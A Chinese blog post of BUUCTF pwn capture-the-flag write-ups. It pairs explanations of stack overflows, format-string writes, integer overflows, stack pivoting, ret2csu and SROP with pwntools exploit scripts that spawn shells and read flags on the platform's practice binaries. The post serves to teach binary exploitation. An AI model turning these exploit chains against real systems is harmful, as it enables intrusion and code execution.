首页 > 其他分享 >pwn | buuctf刷题(一)

pwn | buuctf刷题(一)

时间:2023-07-02 13:45:10浏览次数:37  
标签:buuctf addr p64 p32 sh sendline pwn payload 刷题

test_your_nc

nc连上去就是一个shell

pwn1

gets栈溢出,ret2text

打远程的时候遇到如下报错,原因可能有两个

timeout: the monitored command dumped core

一是get_flag后未正常退出,需要给get_flag的返回地址写个exit

二是栈未对齐,导致程序异常退出,如下所示,ret时rsp为...968

image-20230628174619232

成功进入system函数后,继续运行,程序在...e3c这里断下来了

image-20230628174724050

指令为

movaps xmmword ptr [rsp + 0x50], xmm0

百度一下,就是说此时rsp为...5c8,rsp+0x50不是0x10对齐的,程序就会崩溃

image-20230628175512789

解决方法是在原来返回地址处写入一个ret指令,栈顶整体下移8个字节,使之对齐 0x10, 如下所示,两次ret后,栈顶地址变为了...200,此后进入system函数就满足了对齐条件

image-20230628175031285

exp:

from pwn import *
content = 1 
if content:
    p = remote("node4.buuoj.cn", 29459)
else:
    p = process("./pwn1")
elf = ELF("./pwn1")
magic_addr = elf.symbols["fun"]
ret_addr = 0x401185
print (hex(magic_addr))
payload = b"a"*15 + b"b"*8 + p64(ret_addr) + p64(magic_addr)
p.sendline(payload)
p.sendline("cat flag")
p.interactive()

warmup_csaw_2016

gets栈溢出,ret2text

from pwn import *
p = remote('node4.buuoj.cn', 29126)
payload=b'a'*(0x40+8)+p64(0x400611)
p.sendline(payload)
p.interactive()

ciscn_2019_n_1

gets栈溢出,ret2text

from pwn import *
context.arch = 'amd64'
io = process("./ciscn_2019_n_1")
sys_addr = 0x4006BE
payload = b'A'*(0x30+8) + p64(sys_addr)
io.send(payload)
io.interactive()

pwn1_sctf

strcpy栈溢出,ret2text

from pwn import *
context(os = 'linux', arch='amd64', log_level='debug')
magic_addr = 0x8048F0D
#p = process('./pwn1_sctf_2016')
p = remote('node4.buuoj.cn', 29396)
payload = b'I'*20 + 4*b'a' + p32(magic_addr)
p.sendline(payload)
p.interactive()

jarvisoj_level0

read栈溢出,re2text

from pwn import *
p = remote("node3.buuoj.cn",xxxx)
ret_arr = 0X40059A
payload = 'a'*(0x80 + 0x8) + p64(ret_arr)
p.sendline(payload)
p.interactive()

pwn5

printf格式化字符串可控,任意地址写

如图,偏移为10

image-20230629104058510

bss段上的数据为4个字节,需要全部覆盖,分4次写入0x10

from pwn import*

r=remote('node3.buuoj.cn',26959)
payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload+='%10$n%11$n%12$n%13$n'

r.sendline(payload)
r.sendline(str(0x10101010))
r.interactive()

ciscn_2019_c1

gets栈溢出,ret2libc

payload首字节写入'\x00',在14行这里绕过加密逻辑

image-20230629112118876

分两次溢出,第一次泄露libc地址,布局为pop_rdi->puts_got->puts_plt->main

第二次get_shell,ubuntu18.04以上环境,要注意栈对齐,布局为ret->pop_rdi->binsh->system

from pwn import*

r=remote('node3.buuoj.cn',28214)
elf=ELF('./ciscn_2019_c_1')

main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

r.sendlineafter('choice!\n','1')
payload=b'\x00'+b'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)

r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()

puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
print hex(puts_addr)

offset=puts_addr-0x0809c0
binsh=offset+0x1b3e9a
system=offset+0x04f440

r.sendlineafter('choice!\n','1')

payload=b'\x00'+b'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)

r.sendlineafter('encrypted\n',payload)

r.interactive()

ciscn_2018_n8

from pwn import *
p = remote("node3.buuoj.cn",29772)
p.sendline("aaaa"*13 + p64(0x11))
p.interactive()

jarvisoj_level2

read栈溢出,ret2libc

栈布局:call_system_addr->bin_sh_addr

from pwn import *
s=remote("node4.buuoj.cn",29008)
payload='a'*0x88+'a'*4+p32(0x0804845C)+p32(0x0804a024)
s.sendline(payload)
s.interactive()

bjdctf_2020_babystack

read栈溢出,ret2text

计算偏移的时候要注意一下,有的程序main函数开头是没有压ebp的,ida看函数栈帧可以看出来,s是saved_ebp,r是返回地址,下面这个就是没有压ebp的

image-20230629211042439

下面这个是压了ebp的

image-20230629211139552

from pwn import*

r=remote('node4.buuoj.cn',28945)
shell_addr=0x4006e6
r.sendline('100')
payload='a'*(0x10+8)+p64(shell_addr)
r.sendline(payload)

r.interactive()

get_started_3dsctf_2016

gets栈溢出

法一:利用后门函数,直接getFlag,用exit函数让程序正常退出

from pwn import *

context(os="linux", arch="i386", log_level="debug")
q = process("./get_started_3dsctf_2016")

# 0x080489A0为get_flag函数入口地址
# 0x0804E6A0为exit函数入口地址
payload = cyclic(0x38) + p32(0x080489B8) + p32(0x0804E6A0)
payload += p32(0x308CD64F) + p32(0x195719D1)
q.sendline(payload)
q.recvline()

法二:mprotect修改内存页权限,ret2shellcode

ctrl+s调出段表,选择80eb000作为要修改的起始地址,不选bss段的原因是没有4k对齐(mprotect函数只能传入内存页起始地址作为参数)

image-20230629153902421

mprotect函数原型:

int mprotect(void *addr, size_t len, int prot);
addr 内存启始地址
len  修改内存的长度
prot 内存的权限

故栈布局为:mprotect_addr->pppr->mem_addr->mem_size->mem_prot->read_addr->pppr->0->mem_addr->size->mem_addr

from pwn import *

elf = ELF('./get_started_3dsctf_2016')
r=remote('node4.buuoj.cn', 28267)

pop3_ret = 0x804951D
mem_addr = 0x80EB000
mem_size = 0x1000    
mem_proc = 0x7       
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']

payload  = b'A' * 0x38
payload += p32(mprotect_addr)
payload += p32(pop3_ret) 
payload += p32(mem_addr) 
payload += p32(mem_size)  
payload += p32(mem_proc)   

payload += p32(read_addr)
payload += p32(pop3_ret)  
payload += p32(0)     
payload += p32(mem_addr)   
payload += p32(0x100) 
payload += p32(mem_addr)   

r.sendline(payload)
payload = asm(shellcraft.sh()) 
r.sendline(payload)
r.interactive()

babyrop

read栈溢出,ret2libc

输入\x00,使strlen返回0,绕过检测

image-20230629162340390

然后就是两次read栈溢出,第一次用write泄露libc,第二次get_shell

from pwn import *

r = remote('node4.buuoj.cn',26832)
context.log_level = 'debug'
elf = ELF('./babyrop')
libc = ELF('./libc-2.23.so')
libc_binsh = libc.search(b'/bin/sh').__next__()
payload = '\x00'+'\xff'*7
r.sendline(payload)
r.recvuntil("Correct\n")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = 0x08048825
payload1 = b'a'*0xe7+b'a'*4+p32(0x80487cf)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
r.sendline(payload1)
write_addr = u32(r.recv(4))
print(hex(write_addr))
libc_base = write_addr - 0x000d43c0 
system_addr = libc_base+0x3a940
bin_sh_addr = libc_base+libc_binsh
r.sendline(payload)
r.recvuntil("Correct\n")
payload2 = b'a'*0xe7+b'a'*4+p32(0x80487cf)+p32(system_addr)+p32(0x80487c7)+p32(bin_sh_addr)
r.sendline(payload2)
r.sendline("cat flag")
r.interactive()

level2_x64

read栈溢出,ret2text

from pwn import *

context(log_level = 'debug')
elf = ELF('./level2_x64')
p = remote('node4.buuoj.cn',28865)

systemaddr=0x400603
shelladdr=0x600a90
rdiaddr=0x4006b3

payload= b'a'*(0x80+8)+p64(rdiaddr)+p64(shelladdr)+p64(systemaddr)

p.sendline(payload)
p.interactive()

babyrop2

scanf栈溢出,ret2text

from pwn import*

r=remote('node4.buuoj.cn',29409)
shell=0x601048
system=0x400496
rdi=0x400683
payload=b'a'*(0x10+8)+p64(rdi)+p64(shell)+p64(system)
r.sendline(payload)
r.interactive()

ciscn_2019_en_2

gets栈溢出,ret2text

一毛一样,怎么全是这种题啊,曲线也太平滑了

from pwn import*

r=remote('node3.buuoj.cn',28214)
elf=ELF('./ciscn_2019_c_1')

main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

r.sendlineafter('choice!\n','1')
payload=b'\x00'+b'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)

r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()

puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
print hex(puts_addr)

offset=puts_addr-0x0809c0
binsh=offset+0x1b3e9a
system=offset+0x04f440

r.sendlineafter('choice!\n','1')

payload=b'\x00'+b'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)

r.sendlineafter('encrypted\n',payload)

r.interactive()

ciscn_2019_n_5

gets栈溢出,ret2shellcode

IDA查看bss段没有执行权限

image-20230629204340601

gdb查看bss段有执行权限

image-20230629204319749

说明还是要以动态的为准

两次输入,一次在bss段输入shellcode,一次溢出把返回地址打向bss段

from pwn import *
context.log_level="debug"
p=remote("node4.buuoj.cn",27210)

context.arch="amd64"
shellcode=asm(shellcraft.sh())
name_addr=0x601080
p.recvuntil("name\n")
p.sendline(shellcode)
p.recvuntil("?\n")
payload=b"A"*0x28+p64(name_addr)
p.sendline(payload)

p.interactive()

not_the_same_3dsctf_2016

gets栈溢出,ret2text

不要忘了搜一下system\bin_sh\flag等关键词,可能会有意外发现哦

image-20230629210747000

from pwn import *
context.log_level='debug'
p = remote('node3.buuoj.cn',29167)
elf = ELF('./not_the_same_3dsctf_2016')
write_addr = elf.sym['write']
get_flag = 0x080489A0
flag_bss = 0x080ECA2D
payload = b'a'*(0x2D) + p32(get_flag)+ p32(write_addr)+ 'a'*4 +p32(1) + p32(flag_bss) + p32(45)
p.sendline(payload)
p.interactive()

others_shellcode

通过11号系统调用,直接返回了一个shell

image-20230629211927725

ciscn_2019_ne_5

strcpy栈溢出,ret2text

搜/bin/sh没有搜到,然后用ROPgadget搜sh搜到了

image-20230629213929760

返回ida里查看原来是这玩意,醉了

image-20230629214159772

是符号表里的字符串,这样用人家对fflush礼貌吗?

image-20230629214727919

from pwn import *

p=remote("node4.buuoj.cn",25653)

p.recvuntil(":")
p.sendline("administrator")

p.recvuntil(":")
p.sendline("1")

system=0x80484D0
sh=0x080482ea

payload=b"A"*(0x4c)+p32(system)+b"0000"+p32(sh)

p.sendline(payload)
p.recvuntil(":")
p.sendline("4")
p.interactive()

2018_rop

read栈溢出,ret2libc

第一次溢出,泄露libc,用write把write_got值打出来,返回main

第二次溢出,get_shell

from pwn import *

r=remote('node4.buuoj.cn',29022)
elf=ELF('./2018_rop')

write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main']

payload=b'a'*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr=u32(r.recv(4))
print(hex(write_addr))

libc_base=write_addr-0xe56f0

system_addr=libc_base+0x3cd10
bin_sh=libc_base+0x17b8cf

payload=b'a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh)

r.sendline(payload)
r.interactive()

bjdctf_2020_babyrop

from pwn import *

p=remote("node4.buuoj.cn",28879)
elf=ELF("./bjdctf_2020_babyrop")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
p.recvuntil(b"story!\n")
pop_rdi_ret=0x400733
start=0x400530
ret=0x400734

payload1=b"A"*(0x28)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start)
p.sendline(payload1)
puts=u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))
print(hex(puts))
libcbase=puts-0x6f690
system=libcbase+0x45390
str_bin_sh=libcbase+0x18cd57

payload2=b"A"*(0x28)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system)
p.recvuntil(b"story!\n")
p.sendline(payload2)

p.interactive()

bjdctf_2020_babystack2

整数溢出导致read栈溢出,ret2text

输入的length为无符号类型,17行判断大小时被转化为了有符号数,23行read时又被转化为了无符号数,存在整数溢出漏洞,输入一个大于0x7fffffff的数,在17行这里被转化为负数,可以绕过判断,进而导致read栈溢出

image-20230630105748848

#!/usr/bin/python2
#coding=utf-8
from pwn import *

context(os = "linux", arch = "amd64", log_level= "debug")
p = remote("node4.buuoj.cn", 25118)
backdoor = 0x400727
p.sendlineafter("length of your name:", "2147483648")
payload = b"a" * 0x18 + p64(backdoor)
p.sendlineafter("name?", payload)
p.sendline("cat flag")

p.interactive()

fm

printf格式化字符串可控,任意地址写

偏移为11,在0804A02C处(原值为0)一次性写入4

from pwn import *

p = remote("node4.buuoj.cn", 25723)
payload = p32(0x0804A02C) + b"%11$n"
p.sendline(payload)

ciscn_2019_es_2

read栈溢出,printf泄露ebp,ret2text

image-20230630204113966

read输入字节数较少,只能刚好覆盖返回地址,没办法布置rop链

利用printf可以把ebp泄露出来,定位s变量的栈地址,故考虑栈劫持,将栈迁移到s变量位于的可控区域范围内,步骤为泄露ebp->布置rop链->栈劫持

首先是泄露ebp,printf把saved_ebp打出来

payload='a'*0x20+'b'*8

定位s的栈地址,如下所示,off = 0xffe598e8-0xffe598b0=0x38,即s_addr = old_ebp-0x38

image-20230630205220230

布置rop链,system->0xdeadbeef->bin_sh_addr,程序中没有/bin/sh字符串,可以写到栈上,反正栈上的地址都已经知道了,前面那个'a'*4对应栈迁移后新的ebp位置

payload2='a'*4+p32(sys)+p32(0xdeadbeef)+p32(ebp-0x28)+"/bin/sh"

关键一步栈劫持,就是往ebp这里写入s变量的起始地址,用于抬高ebp至s处,同时在返回地址处写入leave_ret的指令地址,用于抬高esp至s处

payload2+=p32(ebp-0x38)+p32(leave_ret)

总结下rop链的执行流程:

  • vul函数的leave指令执行后,ebp被抬高至s处

  • vul函数的ret指令执行后,控制流被打向leave_ret代码

  • leave指令执行后,esp指向我们写入的system地址

  • ret指令执行后,getshell

总结下栈劫持的基本条件:

  • 程序中有printf等函数能泄露ebp
  • 程序至少要出现两次read溢出,一次泄露,一次迁移
#!/usr/bin/python
from pwn import *

#a=remote("node3.buuoj.cn",26501)
a=process("ciscn_2019_es_2")
context(arch='i386',os='linux',log_level='debug')

sys=0x8048400
leave_ret=0x08048562

a.recvuntil("Welcome, my friend. What's your name?")
payload='a'*0x20+'b'*8
a.send(payload)
a.recvuntil("bbbbbbbb")
ebp=u32(a.recv(4))
print (hex(ebp))
payload2='a'*4+p32(sys)+p32(0xdeadbeef)+p32(ebp-0x28)+"/bin/sh"
payload2=payload2.ljust(0x28,'\x00')
payload2+=p32(ebp-0x38)+p32(leave_ret)
print (payload2)
#gdb.attach(a)
a.send(payload2)

a.interactive()

jarvisoj_tell_me_something

read栈溢出,ret2text

from pwn import *

r=remote('node4.buuoj.cn',25062)
flag_addr=0x400620

payload='a'*(0x88)+p64(flag_addr)
r.sendline(payload)

r.interactive()

[HarekazeCTF2019]baby_rop2

read栈溢出,ret2libc

只有一个printf可以用作泄露libc,用到rdi和rsi两个寄存器,只有下面这两个gagdet可以用

image-20230630213917294

第一个参数就用这个现成的吧,有个%s

image-20230630214239045

第二个参数给个read_got,还有一个r15用不到,给个0吧

from pwn import *

#start
r = remote("node4.buuoj.cn",26613)
# r = process("./baby_rop2")
elf = ELF("./baby_rop2")

#params
rdi_addr = 0x400733
rsi_r15_addr = 0x400731
main_addr = elf.symbols['main']
printf_plt=elf.plt['printf']
read_got=elf.got['read']
format_str = 0x400770

#attack
payload=b'M'*(0x20+8) + p64(rdi_addr) + p64(format_str) + p64(rsi_r15_addr) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main_addr)
r.recv()
r.sendline(payload)
read_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("read_addr: " + hex(read_addr))

#libc
base_addr = read_addr - 0xf7250
system_addr = base_addr + 0x45390
bin_sh_addr = base_addr + 0x18cd57
print("system_addr: " + (hex(system_addr)))
print("bin_sh_addr: " + (hex(bin_sh_addr)))

#attack2
payload=b'M'*(0x20+8) + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
r.recv()
r.sendline(payload)

r.interactive()

pwn2_sctf_2016

整数溢出导致read栈溢出,ret2libc

atoi返回有符号数,下面的get_n强转为了无符号数,导致整数溢出,可以输入最多0xffffffff个字节

image-20230630222202059

然后就是printf泄露libc地址,getshell

from pwn import *

context.log_level = 'debug'
context.arch = 'i386'
context.os = 'linux'

#sh = process('./pwn2_sctf_2016')
sh = remote('node4.buuoj.cn',25368)
elf = ELF('./pwn2_sctf_2016')
libc = ELF('./x86-libc-2.23.so')

atoi_got_addr = elf.got['atoi']
printf_plt_addr = elf.plt['printf']
formatstr_addr = 0x80486f8         # %s
main_addr = elf.symbols['main']

fakeebp = 0x4
offset = 0x2c + fakeebp #48字节
#利用printf函数来leak在libc中的atoi函数
leak_payload = 'a' * offset 
leak_payload+= p32(printf_plt_addr) + p32(main_addr) + p32(formatstr_addr) + p32(atoi_got_addr)
sh.sendlineafter('How many bytes do you want me to read?','-1')
sh.sendlineafter('bytes of data!\n',leak_payload)

sh.recvuntil('You said: ')#这里是接收main函数执行完的输出
sh.recvuntil('You said: ')#这里才是接收rop链造成的输出,leak出的地址在这里面
atoi_realaddr = u32(sh.recvuntil('\xf7')[-4:])
log.success('leak_atoi_real_addr => {}'.format(hex(atoi_realaddr)))

base_addr = atoi_realaddr - libc.symbols['atoi']
system_addr = libc.symbols['system'] + base_addr
binsh_addr = libc.search('/bin/sh').next() + base_addr

payload = 'a' * offset + p32(system_addr) + p32(main_addr) + p32(binsh_addr)

sh.sendlineafter('How many bytes do you want me to read?','-1')
sh.sendlineafter('bytes of data!\n',payload)

sh.sendline('cat flag')
sh.interactive()

jarvisoj_level3

read栈溢出,retlibc

write泄露libc,get_shell

from pwn import*
p=remote('node4.buuoj.cn',26020)
elf=ELF('level3')
libc=ELF('./libc-2.23.so')
write_got=elf.got['write']
write_plt=elf.plt['write']
vuln=0x0804844b
p.recvuntil('Input:\n')
payload=b'a'*0x8c+p32(write_plt)+p32(vuln)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
write_add=u32(p.recv(4))
print(hex(write_add))
libc_base=write_add-libc.symbols['write']
system=libc_base+libc.symbols['system']
binsh=libc_base+libc.search(b'/bin/sh\x00').__next__()
p.recvuntil('Input:\n')
payload=b'a'*0x8c+p32(system)+p32(0)+p32(binsh)
p.sendline(payload)
p.interactive()

ciscn_2019_s_3

read栈溢出,泄露栈地址,ret2csu,srop

image-20230702110810168

没有调用libc函数,不考虑ret2libc

有syscall,考虑用execve("/bin/sh", NULL, NULL),"/bin/sh"只能自己往栈上写,故需要泄露栈地址

有直接控制rax、rdi、rsi的gadget,还差一个rdx,衍生两种解法,ret2csu和srop

  • 泄露栈地址

只有一次read的机会,这一次必须就覆盖返回地址,故不能泄露ebp,那栈上还有没有保存其他的栈地址?当然有,就是下面这个main函数的argv参数,它是指向命令行参数的指针数组的首地址(也可以说是指向指针的指针),这个指针数组是存放在栈上的,那它的首地址必然也是一个栈地址,作为main的参数,它被放到了rsi中,然后被存放到了栈上,如下所示

image-20230702110446473

image-20230702110404118

利用sys_write可以把这个值打出来,然后减去0x148(不同libc该偏移不同),即为buf地址

PS:在read栈溢出计算偏移时,需注意这个vul函数没有leave指令,直接把rbp给ret了

image-20230702111141829

  • 解法一:ret2csu

libcsu_init函数被用作初始化,其内部对多个寄存器做了控制,故可以用来做利用的gadget,用到的是下面这两段

image-20230702111519244

我们的目标是控制rdx,那只要在400596这段代码里控制r13=0,跳到400580代码中即可让rdx=r13=0

有三点需要注意:

  1. cmp rbx, rbp,要让其相等,才不会继续进入循环
  2. call [r12+rbx*8]这里有个跳转,可以让rbx=0,r12指向栈上一个存放了ret指令地址的位置,这样可以避免跳转,程序继续向下面的40058d执行
  3. 继续向下执行,会pop六次,以及拉低rsp一次,布置rop需留意

总结下步骤:写入/bin/sh->rax赋值为0x3b->跳到loc_400596->跳到loc_400580->call继续向下执行->pop_rdi->syscall

先放exp:

from pwn import *
p = process("./ciscn_s_3")

main_addr = 0x40051d
payload = b'/bin/sh\x00' + b'A'*0x8 + p64(main_addr)
p.sendline(payload)
p.recv(0x20)
stack_addr = u64(p.recv(8))
buf_addr = stack_addr-0x148
print ('buf_addr-->' + hex(buf_addr))

pop_rdi = 0x4005a3
syscall = 0x400501
vul_addr = 0x4004ed
ret_addr = 0x4003a9

print(proc.pidof(p))
pause()
payload = p64(ret_addr) + b'/bin/sh\0'
payload += p64(0x4004e2) # rax=0x3b
payload += p64(0x40059a) # rdx = 0
payload += p64(0) + p64(1) # rbx = 0, rbp = 1
payload += p64(buf_addr) + p64(0) * 3 # r12 = buf_addr
payload += p64(0x400580)
payload += p64(0) * 7 #pop六次,以及拉低rsp一次
payload += p64(pop_rdi) + p64(buf_addr + 8) # rdi = &'/bin/sh\0'
payload += p64(syscall)
payload += p64(vul_addr)
p.send(payload)

p.interactive()

调试情况如下:

rax置0x3b

image-20230702103923570

loc_400596

image-20230702104028949

loc_400580image-20230702104109708

call r12,继续向下执行

image-20230702104220894

rbx=rbp,不跳转

image-20230702104350696

接连几个pop

image-20230702104415452

pop_rdi,syscall

image-20230702104604425

  • 解法二:srop

linux处理signal流程如下图所示,在程序接收到signal信号时会去①保存上下文环境(即各种寄存器),接下来走到②执行信号处理函数,处理完后③恢复相关栈环境,④继续执行用户程序。而在恢复寄存器环境时没有去校验这个栈是不是合法的,如果我们能够控制栈,就能在恢复上下文环境这个环节直接设定相关寄存器的值

image-20230702113121569

题目已经给了0xf的syscall(对应③这个环节),答案都甩脸上了

pwntool能够直接生成栈环境的布局

from pwn import *

context.arch = 'amd64'
p = process("./ciscn_s_3")
#p=remote('node4.buuoj.cn',26020)
main_addr = 0x40051d
payload = b'/bin/sh\x00' + b'A'*0x8 + p64(main_addr)
p.sendline(payload)
p.recv(0x20)
stack_addr = u64(p.recv(8))
buf_addr = stack_addr-0x148
print ('buf_addr-->' + hex(buf_addr))

syscall = 0x400517
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = buf_addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall

payload = b'/bin/sh\0'.ljust(0x10, b'a') + p64(0x4004da) + p64(syscall) + bytes(sigframe)
p.send(payload)
p.interactive()

简单粗暴是不是

picoctf_2018_rop chain

gets栈溢出,ret2text

栈布局:win1->win2->flag->0xBAAAAAAD->0xDEADBAAD

from pwn import *

r = remote("node4.buuoj.cn", 27297)

win_function1 = 0x080485CB
win_function2 = 0x080485D8
flag = 0x0804862B

payload = b"a" * 0x1c
payload += p32(win_function1)
payload += p32(win_function2) + p32(flag) + p32(0xBAAAAAAD) + p32(0xDEADBAAD)
r.sendlineafter("input> ", payload)

r.interactive()

标签:buuctf,addr,p64,p32,sh,sendline,pwn,payload,刷题
From: https://www.cnblogs.com/z5onk0/p/17520707.html

相关文章

  • [刷题记录Day1]Leetcode列表专题
    No.1题目二分查找思路要素:原数组升序排列清楚地定义左右边界优化空间:数组有序,通过第0元素和最后元素,可以避免查找不在数组范围内的target代码publicstaticintsearch(int[]nums,inttarget){//避免target小于nums[0],大于nums[nums.length-1]时参与运算......
  • [刷题记录Day3]Leetcode链表专题
    #ListNodedefinitionpublicclassListNode{//结点的值intval;//下一个结点ListNodenext;//节点的构造函数(无参)publicListNode(){}//节点的构造函数(有一个参数)publicListNode(intval){this.val=val;......
  • [刷题记录]Leetcode列表专题
    No.1题目Leetcodelink思路数组本身是非降序,即最小值和最大值在数组的两端非降序数组每个元素平方后,最大值在两端,最小值在中部双指针比较数组两端最大值的大小,提取出最大的。移动双指针,然后得到次大,次次大,逐步得到结果注意left==right是有意义的,即待处理数组只有一个元素,......
  • buuctf写题
    php反序列化字符逃逸easy_serialize_php拿到源码:<?php$function=@$_GET['f'];functionfilter($img){$filter_arr=array('php','flag','php5','php4','fl1g');$filter='/'.implode(�......
  • 关于python刷题的语法要点
    赋值lista,bb=a,itisjustareferenceassignment.a改变,b也改变b=a[:],itiscopy.a改变,b不变b=a+[4]a[::]里::是一种operater,默认是a[::1],1代表从头到尾的取间隔为1的元素组成新的list。所以a[::-1],就是reversed,还可以有a[::-2]排序listxx.sort()ory=sor......
  • re | 逆向刷题笔记
    IDAdump内存脚本importidcdefmain():begin=0xCD956000;#需对应修改size=0x2FB000##需对应修改list=[]foriinrange(size):byte_tmp=ida_bytes.get_byte(begin+i)list.append(byte_tmp)if(i+1)%0x10......
  • re | buuctf逆向刷题之crackMe
    写在前头本题来自安洵杯2019crackMe,涉及到的知识点较多,Mark一下分析从main开始反编译main函数,9行这里触发了一个内存写异常,有点奇怪哈发现SEH查看汇编,哦这里注册了一个SEH函数,sub4100F跟进去看一下,很简单的算法,input划分为4个4字节的值,赋给v5,v5数组按照往后递推的方式,由......
  • 牛客网刷题三
    牛客网刷题21-24这块主要是时序逻辑第21题根据状态转移表实现时序电路_牛客题霸_牛客网(nowcoder.com)`timescale1ns/1nsmoduleseq_circuit(inputA,inputclk,inputrst_n,outputw......
  • 牛客网刷题4
    25-2825题输入序列连续的序列检测_牛客题霸_牛客网(nowcoder.com)`timescale1ns/1nsmodulesequence_detect( inputclk, inputrst_n, inputa, outputregmatch );reg[8:0]tmp;//存储always@(posedgeclkornegedgerst_n)beginif(!rst_n)begin......
  • 牛客网刷题二
    牛客网FPGA题库刷题之快速入门题库(一)9~13题14-20没啥用就是看图写,不需要做了第九题题目链接使用子模块实现三输入数的大小比较代码`timescale1ns/1nsmodulemain_mod(inputclk,inputrst_n,input[7:0]a,input[7:0]b,input[7:0]c,output[7:0]d);......